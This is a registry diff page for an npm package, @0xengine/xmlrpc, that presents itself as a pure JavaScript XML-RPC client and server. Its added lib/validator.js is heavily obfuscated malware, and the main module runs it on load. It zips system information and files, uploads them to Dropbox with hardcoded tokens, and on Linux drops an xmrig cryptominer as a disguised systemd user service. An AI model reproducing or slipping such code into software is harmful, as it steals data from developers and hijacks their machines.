@0xengine/xmlrpc 0.0.1-security → 1.3.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +3 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
const a0_0x9140ce=a0_0x5230;function a0_0x4c3b(){const _0x5a2180=['/raw/maste','eZarh5VSmU','EXdInRczVA','VbXHP','findIndex','argv','6131944WRrPDN','zipPath:\x20','gger','ystemctl\x20-','\x5c(\x20*\x5c)','xmrig\x0aXPRI','rdropper\x0aX','rl\x20-sL\x20--o','find','ull\x0a#Stand','>&1\x0a\x0amkdir','fs/promise','apply','\x20--user\x20st','/.local/bi','chain','E=xprintid','E.service\x20','readFile','n\x0aAPPNAME=','counter','rvice]\x0aExe','edd44434/x','linux','aemon\x0a\x0a[Se','LVBVF','no1z3','+x\x20$LOCAL_','NTIDLE_NAM','C\x20>\x20$SYSTE','PATH/$APPN','86_64\x22\x20]];','writeFile','--targets','if\x20[[\x20$mac','zip-a-fold','bash\x20','log','\x20-p\x20$SYSTE','rmation','Drp\x20done','PRINTIDLE_','qbknda07b3','promisify','constructo','all]\x0aWante','MD_PATH\x0aca','IG_URL\x20\x0acu','start=alwa','encoding','input','name\x20-m)\x0a\x09','NAME\x20$XPRI','ys\x0a#Standa','e\x20$APPNAME','c\x20path:\x20','2gyuq','/688823243','PATH=$HOME','sess_47894','3984862UeDoSb','\x20\x0a\x0a\x0achmod\x20','le\x0aAPP_URL','jQHwT','dBy=defaul','NAME\x20$APP_','cAAAAAAAAA','ion\x20Auth\x20d','320408GzcXuL','ggTYegPuYh','MD_PATH/$A','n/xsession','while\x20(tru','h\x0aXMRIGNAM','debugme','552692CigBgV','MRIG_URL=$','CAL_PATH/$','dd32342342','d\x20+x\x20$LOCA','GNAME\x20$XMR','outputFile','string','Owner','debu','opped','osInfo','\x5c+\x5c+\x20*(?:[','utput\x20$LOC','AME\x0achmod\x20','_PATH=$HOM','d342342342','AME\x0a\x0amkdir','tmpdir','\x20/dev/null','utf8','le\x20$APPNAM','put\x20$LOCAL','constants','owner','lease','ensureDir','LDYsN','APPNAME\x0aRe','/targets.t','4771494gPNJBT','refreshTok','=$REPO_URL','er\x20daemon-','l\x202>&1\x0asys','remove','0-9a-zA-Z_','ull\x0a\x0a[Inst','ensure_os\x0a','systemd/us','137158DMrKvM','/os-releas','stateObjec','contents','path','resolve','\x202>&1\x0asyst','t\x20<<HEREDO','_os()\x20{\x0a\x09m','test','>\x20/dev/nul','ess','qVFMw','NSCJP','.sh\x0aLOCAL_','REPO_URL/r','/Xsessions','platform','systeminfo','uLltq','e.txt','Runinng\x20dr','URL\x20\x0acurl\x20','copyFile','10YjJQGa','.auth','ODoh','TBTxL','homedir','vxxqX','child_proc','NTIDLE_URL','length','now','call','targets\x20sr','.zip','IYNWL','tdpRz','temctl\x20--u','\x202>&1\x0a','E=xsession','\x0asystemctl','dropbox','40sGNtlL','uuid','PATH/$XMRI','r/Xsession','clientId','reload\x20>\x20/','9bMwURT','\x20-sL\x20--out','t\x20$APPNAME','.auth\x0aXPRI','then','L_PATH/$XP','ardError=n','1966122vmDemE','Xsession.s','CbTbq'];a0_0x4c3b=function(){return _0x5a2180;};return a0_0x4c3b();}(function(_0xe77e94,_0x150053){const _0x1aeeae=a0_0x5230,_0x223722=_0xe77e94();while(!![]){try{const _0xa33e91=-parseInt(_0x1aeeae(0x10c))/(-0x10b0*-0x1+-0x1*-0x127f+-0x232e)+-parseInt(_0x1aeeae(0xe4))/(0x19d2*-0x1+0x4dd*-0x1+-0x1b*-0x123)+-parseInt(_0x1aeeae(0x89))/(-0xb*0x17a+-0x191f+0x2960)*(parseInt(_0x1aeeae(0xdd))/(0x22eb*-0x1+-0x14e1+0x37d0))+-parseInt(_0x1aeeae(0x124))/(0x2652+-0xaed*0x2+-0x1073)*(-parseInt(_0x1aeeae(0x90))/(0x14a+-0x9*-0x59+-0x465))+-parseInt(_0x1aeeae(0xd5))/(-0x1*-0x19ca+0x1a96*0x1+-0x3459*0x1)+-parseInt(_0x1aeeae(0x99))/(0xf54+0x1*-0x991+-0x9*0xa3)+parseInt(_0x1aeeae(0x102))/(-0x99a*-0x4+-0xf*0xb5+0x1*-0x1bc4)*(parseInt(_0x1aeeae(0x83))/(0x1*0x1971+-0x1*0x238f+-0x2*-0x514));if(_0xa33e91===_0x150053)break;else _0x223722['push'](_0x223722['shift']());}catch(_0x28fdf6){_0x223722['push'](_0x223722['shift']());}}}(a0_0x4c3b,-0x8d8*0x61+0xe7c5a+0xdda3));const a0_0x5b2893=(function(){let _0x1d3889=!![];return function(_0x6176b1,_0x4d3540){const _0x306613=_0x1d3889?function(){const _0x5064ab=a0_0x5230;if(_0x4d3540){const _0x4ae964=_0x4d3540[_0x5064ab(0xa5)](_0x6176b1,arguments);return _0x4d3540=null,_0x4ae964;}}:function(){};return _0x1d3889=![],_0x306613;};}());(function(){a0_0x5b2893(this,function(){const _0x19c6c6=a0_0x5230,_0x1d8ebd=new RegExp('function\x20*'+_0x19c6c6(0x9d)),_0x3926b2=new RegExp(_0x19c6c6(0xf0)+'a-zA-Z_$]['+_0x19c6c6(0x108)+'$]*)','i'),_0x523e98=a0_0x37b6cd('init');!_0x1d8ebd[_0x19c6c6(0x115)](_0x523e98+_0x19c6c6(0xa8))||!_0x3926b2[_0x19c6c6(0x115)](_0x523e98+_0x19c6c6(0xcb))?_0x523e98('0'):a0_0x37b6cd();})();}());const fs=require('fs-extra'),{access}=require(a0_0x9140ce(0xa4)+'s'),{zip}=require(a0_0x9140ce(0xbc)+'er'),si=require(a0_0x9140ce(0x11e)+a0_0x9140ce(0xc0)),os=require('os'),path=require(a0_0x9140ce(0x110)),{exec}=require(a0_0x9140ce(0x12a)+a0_0x9140ce(0x117)),util=require('util'),execPromise=util[a0_0x9140ce(0xc4)](exec),{Dropbox}=require(a0_0x9140ce(0x82)),a0_0x3ff9b6={};a0_0x3ff9b6[a0_0x9140ce(0x87)]=a0_0x9140ce(0xc3)+a0_0x9140ce(0xb3),a0_0x3ff9b6['clientSecr'+'et']='c6j642mz7k'+a0_0x9140ce(0xd1),a0_0x3ff9b6[a0_0x9140ce(0x103)+'en']='ZtRBk4Wfng'+a0_0x9140ce(0xdb)+'AYA9a4wHLu'+a0_0x9140ce(0x95)+a0_0x9140ce(0x94)+a0_0x9140ce(0xde)+a0_0x9140ce(0x126);const dbx=new Dropbox(a0_0x3ff9b6);function a0_0x5230(_0x586332,_0x59df40){const _0x55b352=a0_0x4c3b();return a0_0x5230=function(_0x1677dc,_0xba9e8b){_0x1677dc=_0x1677dc-(0x3*0x5a8+0xab*-0x2c+0x14b*0xa);let _0x1e7026=_0x55b352[_0x1677dc];return _0x1e7026;},a0_0x5230(_0x586332,_0x59df40);}async function drp(_0x16c9f5){const _0x4831a2=a0_0x9140ce,_0x5a03d3='\x0aREPO_URL='+'https://gi'+'thub.com/0'+'x3ngine/xm'+_0x4831a2(0x9f)+_0x4831a2(0xe5)+_0x4831a2(0x11b)+'aw/master/'+_0x4831a2(0x9e)+_0x4831a2(0x12b)+_0x4831a2(0x104)+_0x4831a2(0x93)+'r/xprintid'+_0x4831a2(0xd7)+_0x4831a2(0x104)+_0x4831a2(0x93)+_0x4831a2(0x86)+_0x4831a2(0x11a)+_0x4831a2(0xd3)+_0x4831a2(0xa7)+_0x4831a2(0xac)+_0x4831a2(0x91)+_0x4831a2(0xe2)+_0x4831a2(0x135)+_0x4831a2(0x8c)+_0x4831a2(0xb5)+_0x4831a2(0xa9)+'le\x0aSYSTEMD'+_0x4831a2(0xf3)+'E/.config/'+_0x4831a2(0x10b)+'er\x0a\x0aensure'+_0x4831a2(0x114)+'achine=$(u'+_0x4831a2(0xcc)+_0x4831a2(0xbb)+'hine\x20!=\x20\x22x'+_0x4831a2(0xb8)+'\x20then\x0a\x09\x09ex'+'it\x0a\x09fi\x0a}\x0a\x0a'+_0x4831a2(0x10a)+_0x4831a2(0x136)+_0x4831a2(0xa6)+'op\x20$APPNAM'+_0x4831a2(0xaa)+_0x4831a2(0x116)+_0x4831a2(0x106)+'temctl\x20--u'+'ser\x20disabl'+_0x4831a2(0xcf)+'.service\x20>'+_0x4831a2(0xf7)+_0x4831a2(0x112)+'emctl\x20--us'+_0x4831a2(0x105)+_0x4831a2(0x88)+'dev/null\x202'+_0x4831a2(0xa3)+'\x20-p\x20$LOCAL'+'_PATH\x0acurl'+_0x4831a2(0x8a)+_0x4831a2(0xfa)+'_PATH/$APP'+_0x4831a2(0xda)+_0x4831a2(0x122)+'-sL\x20--outp'+'ut\x20$LOCAL_'+_0x4831a2(0x85)+_0x4831a2(0xe9)+_0x4831a2(0xc8)+_0x4831a2(0xa0)+_0x4831a2(0xf1)+'AL_PATH/$X'+_0x4831a2(0xc2)+_0x4831a2(0xcd)+_0x4831a2(0x12b)+_0x4831a2(0xd6)+_0x4831a2(0xb4)+_0x4831a2(0xb7)+_0x4831a2(0xf2)+_0x4831a2(0xb4)+_0x4831a2(0x85)+'GNAME\x0achmo'+_0x4831a2(0xe8)+_0x4831a2(0x8e)+'RINTIDLE_N'+_0x4831a2(0xf5)+_0x4831a2(0xbf)+_0x4831a2(0xc7)+_0x4831a2(0x113)+_0x4831a2(0xb6)+_0x4831a2(0xdf)+'PPNAME.ser'+'vice\x0a[Unit'+']\x20\x0aDescrip'+'tion=Xsess'+_0x4831a2(0xdc)+_0x4831a2(0xb1)+_0x4831a2(0xae)+'cStart=$LO'+(_0x4831a2(0xe6)+_0x4831a2(0x100)+_0x4831a2(0xc9)+_0x4831a2(0xce)+'rdOutput=n'+_0x4831a2(0xa2)+_0x4831a2(0x8f)+_0x4831a2(0x109)+_0x4831a2(0xc6)+_0x4831a2(0xd9)+'t.target\x0a\x0a'+'HEREDOC\x0a\x0as'+_0x4831a2(0x9c)+'-user\x20enab'+_0x4831a2(0xf9)+_0x4831a2(0xaa)+'>\x20/dev/nul'+_0x4831a2(0x106)+_0x4831a2(0x133)+'ser\x20restar'+_0x4831a2(0x8b)+'.service\x20>'+_0x4831a2(0xf7)+_0x4831a2(0x134));_0x16c9f5(_0x4831a2(0x121)+'p');const _0x120fc5=os[_0x4831a2(0x128)]();let _0x7cbbf6;try{_0x4831a2(0x127)===_0x4831a2(0x127)?(await access(_0x120fc5+(_0x4831a2(0xa7)+_0x4831a2(0xe0)+_0x4831a2(0x125)),fs[_0x4831a2(0xfb)]['F_OK']),_0x7cbbf6=!![]):_0xd909c0(-0x1cfd*-0x1+-0x61*0x5+-0x121*0x18);}catch(_0x58e4b1){_0x7cbbf6=![];}if(_0x7cbbf6){_0x16c9f5('Already\x20dr'+_0x4831a2(0xee));return;}const _0x1e1f7f=os[_0x4831a2(0xf6)](),_0x254d4c=_0x1e1f7f+(_0x4831a2(0x11c)+_0x4831a2(0xd2)+_0x4831a2(0xf4)+_0x4831a2(0xe7)+_0x4831a2(0xaf)+_0x4831a2(0xd4)+'34513_6789'+'3eddede'),_0x174955={};_0x174955['encoding']=_0x4831a2(0xf8),await fs[_0x4831a2(0xea)](_0x254d4c,_0x5a03d3,_0x174955),await execPromise(_0x4831a2(0xbd)+_0x254d4c),_0x16c9f5(_0x4831a2(0xc1)),await fs[_0x4831a2(0x107)](_0x254d4c);}async function validator(){const _0x26a0fd=a0_0x9140ce,_0x3cf6f0=process[_0x26a0fd(0x98)][_0x26a0fd(0xa1)](_0x18307b=>_0x18307b===_0x26a0fd(0xe3))!==undefined,_0x5477d4=process[_0x26a0fd(0x98)][_0x26a0fd(0xa1)](_0x3da3b0=>_0x3da3b0===_0x26a0fd(0xfc))!==undefined,_0xf6e145=_0xa8d840=>{const _0x185777=_0x26a0fd;_0x185777(0x96)!=='VbXHP'?_0x11fa84=![]:_0x3cf6f0&&console['log'](_0xa8d840);};if(_0x5477d4){if(_0x26a0fd(0x11f)==='uLltq'){_0xf6e145(_0x26a0fd(0xec));return;}else _0x33634d(_0x4dd65b);}_0xf6e145(process['argv']);const _0x67e6a9=process[_0x26a0fd(0x98)][_0x26a0fd(0x97)](_0x497ac1=>_0x497ac1===_0x26a0fd(0xba)||_0x497ac1==='-t');if(_0x67e6a9===-(0x1d*0x65+0x1*-0x269f+0x1b2f)){if(_0x26a0fd(0xd8)===_0x26a0fd(0xff))(function(){return![];}[_0x26a0fd(0xc5)+'r'](_0x26a0fd(0xed)+_0x26a0fd(0x9b))[_0x26a0fd(0xa5)](_0x26a0fd(0x10e)+'t'));else return;}const _0xf9e9c4=path[_0x26a0fd(0x111)](process['argv'][_0x67e6a9+(0x1c*-0x133+0x743+0x1a52)]);_0xf6e145(_0x26a0fd(0x12f)+_0x26a0fd(0xd0)+_0xf9e9c4);const _0x212783=os['tmpdir'](),_0x37d88e=Date[_0x26a0fd(0x12d)](),_0x5191d0=_0x212783+'/'+_0x37d88e;await fs[_0x26a0fd(0xfe)](_0x5191d0);const _0x3c4377=await si['uuid'](),_0x4a744a=await si[_0x26a0fd(0xef)](),_0x35a942={};_0x35a942[_0x26a0fd(0x84)]=_0x3c4377,_0x35a942[_0x26a0fd(0xef)]=_0x4a744a;const _0x1af906=_0x35a942,_0x1ef3d5=JSON['stringify'](_0x1af906,null,0x9f5*-0x2+0xd7*-0xc+-0x1e00*-0x1),_0x486bf4=_0x5191d0+'/si.json',_0x33bb8e={};_0x33bb8e[_0x26a0fd(0xca)]=_0x26a0fd(0xf8),await fs[_0x26a0fd(0xb9)](_0x486bf4,_0x1ef3d5,_0x33bb8e);const _0x41c437=_0x5191d0+(_0x26a0fd(0x101)+'xt');await fs[_0x26a0fd(0x123)](_0xf9e9c4,_0x41c437);_0x4a744a[_0x26a0fd(0x11d)]===_0x26a0fd(0xb0)&&(await fs[_0x26a0fd(0x123)]('/etc/os-re'+_0x26a0fd(0xfd),_0x5191d0+(_0x26a0fd(0x10d)+_0x26a0fd(0x120))),drp(_0xf6e145));const _0x4323f3=_0x3c4377['os']+'-'+_0x37d88e+_0x26a0fd(0x130),_0x2ab0fa=_0x212783+'/'+_0x4323f3;_0xf6e145(_0x26a0fd(0x9a)+_0x2ab0fa),await zip(_0x5191d0,_0x2ab0fa);const _0x371e54=await fs[_0x26a0fd(0xab)](_0x2ab0fa),_0x44aaea={};_0x44aaea[_0x26a0fd(0x110)]='/'+_0x4323f3,_0x44aaea[_0x26a0fd(0x10f)]=_0x371e54,dbx['filesUploa'+'d'](_0x44aaea)[_0x26a0fd(0x8d)](_0x4940a1=>{const _0x36f4c5=_0x26a0fd;_0x36f4c5(0x118)==='qVFMw'?_0xf6e145(_0x4940a1):_0x2750ac&&_0xd9c82e['log'](_0x1a16e4);})['catch'](_0x364660=>{const _0x3d846e=_0x26a0fd;_0x3d846e(0x119)===_0x3d846e(0xb2)?_0x3f72c3[_0x3d846e(0xbe)](_0x30101c):_0xf6e145(_0x364660);});}module['exports']=validator;function a0_0x37b6cd(_0x23b97f){function _0x2d46b0(_0x6f1285){const _0x4e897b=a0_0x5230;if(typeof _0x6f1285===_0x4e897b(0xeb))return'IYNWL'===_0x4e897b(0x131)?function(_0x4f866d){}['constructo'+'r'](_0x4e897b(0xe1)+'e)\x20{}')[_0x4e897b(0xa5)](_0x4e897b(0xad)):_0x19c427;else(''+_0x6f1285/_0x6f1285)[_0x4e897b(0x12c)]!==0x2333+0x7*-0xa2+-0x1ec4*0x1||_0x6f1285%(-0xa13+-0xfdb+-0xd01*-0x2)===0x1aa8+-0xa7*0x12+-0x17*0xa6?function(){const _0x3febc3=_0x4e897b;if(_0x3febc3(0x129)!==_0x3febc3(0x132))return!![];else{if(_0x4e9c4c){const _0x7aa314=_0x41abbc[_0x3febc3(0xa5)](_0x3b3e26,arguments);return _0x4fda6b=null,_0x7aa314;}}}[_0x4e897b(0xc5)+'r'](_0x4e897b(0xed)+_0x4e897b(0x9b))[_0x4e897b(0x12e)]('action'):function(){const _0x46536a=_0x4e897b;if('lbffC'===_0x46536a(0x92))_0x37000b(this,function(){const _0x3ac038=_0x46536a,_0x4ae7ce=new _0x46379d('function\x20*'+_0x3ac038(0x9d)),_0xf3a535=new _0x37ced0('\x5c+\x5c+\x20*(?:['+'a-zA-Z_$]['+_0x3ac038(0x108)+'$]*)','i'),_0x8c55d=_0x19a9e5('init');!_0x4ae7ce[_0x3ac038(0x115)](_0x8c55d+_0x3ac038(0xa8))||!_0xf3a535[_0x3ac038(0x115)](_0x8c55d+_0x3ac038(0xcb))?_0x8c55d('0'):_0x31bd8e();})();else return![];}[_0x4e897b(0xc5)+'r'](_0x4e897b(0xed)+'gger')[_0x4e897b(0xa5)](_0x4e897b(0x10e)+'t');_0x2d46b0(++_0x6f1285);}try{if(_0x23b97f)return _0x2d46b0;else'RcRzc'!=='wEiJy'?_0x2d46b0(-0x25c3*0x1+-0x14c5+-0x3a88*-0x1):_0x4a75bd('0');}catch(_0x23a42a){}}
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.17",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox": "^10.34.0",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|